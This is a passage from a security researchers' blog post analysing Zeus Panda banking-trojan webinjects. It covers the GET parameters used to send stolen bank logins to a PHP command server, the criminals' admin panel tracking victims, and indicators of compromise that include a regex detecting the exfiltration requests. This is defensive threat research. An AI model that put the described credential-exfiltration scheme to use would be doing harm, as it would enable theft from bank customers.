This function simply sets all collected data as GET Parameters and sends a HTTPS request to a PHP backend, defined in the variable link.gate. Depending on the target website, we could observe different parameters and small differences in the construction of the parameter values. The following list gives an overview of identified parameters. This list is not complete and some of the parameters are optional. All parameters are send in plain text to the C2 backend.
Paramter name
Value
botid Unique client identifier
bname Target identifier
hash Timestamp (new Date())
login1 user name
login2 user password
type module type (grabber, ats, intercepts)
param1 start
domain document.location
branch Status to trigger different functionalities
We intend to provide further details in a follow-up post. However, now we need to talk about the backend. Behold the Zeus Panda administration panel:

Admin Panel Details

The webinject code naturally led us to C2 servers and a closer analysis led us to an admin panel on one of the servers we investigated.

overview_table
Figure 4: Admin-Panel

Figure 4 displays the start screen of the Admin-Panel. Every infected machine is displayed in one row. For every entry the following information is listed:

  1. BotId: Unique identifier for the compromised system
  2. The active module type
  3. Job status of the entry
  4. Login credentials (username/password)
  5. Account status
  6. Victim IP address
  7. Timestamp of infection
  8. Browser version
  9. Target URL (bank)

The top navigation bar lists some available filters like format settings, drop zones and further configuration settings.

The panel is used by the attacker to see new victim machines and available actions. By clicking on the entries, the attacker can view detailed information about the compromised user. For example, details like the account balance of the victim, the amount available for transfer and even the transaction limit can be displayed. Furthermore the attacker can attach notes to the specific victim, to keep track of his fraudulent actions.

overwied_detailed_01
Figure 5: Admin-Panel detail view

Conclusion

Banking Trojans are still one of the most valuable sources of income for criminals online. Given the fact that this kind of malware has been developed and optimized for many years, it’s not surprising that we can observe rather a high code quality. With the Admin-Panel, the attacker has a way to manage the compromised machines without the need to know  technical infection details, making this kind of revenue stream accessible also to the technically rather illiterate.

In the follow-up blog post, we will take a closer look into target specific webinject scripts.

Indicators of compromise

Script-Stage
IoC
Functionality
1st stage SHA256: d8444c2c23e7469a518b303763edfe5fd38f9ffd11d42bfdba2663b9caf3de06 Loader
1st stage
initial webinject
_brows.botid

_brows.inject
Loader
2nd stage SHA256: a99e2d6ec2a1c5b5e59c544302aa61266bb0b7d0d76f4ebed17a3906f94c2794 Exfiltration
2nd stage
target specific
\.php\?(&?(botid|hash|bname|login1|login2|type|param1|domain|branch)=[^&]*){4,9}$ Exfiltration

Authors: Manuel Körber-Bilgard and Karsten Tellmann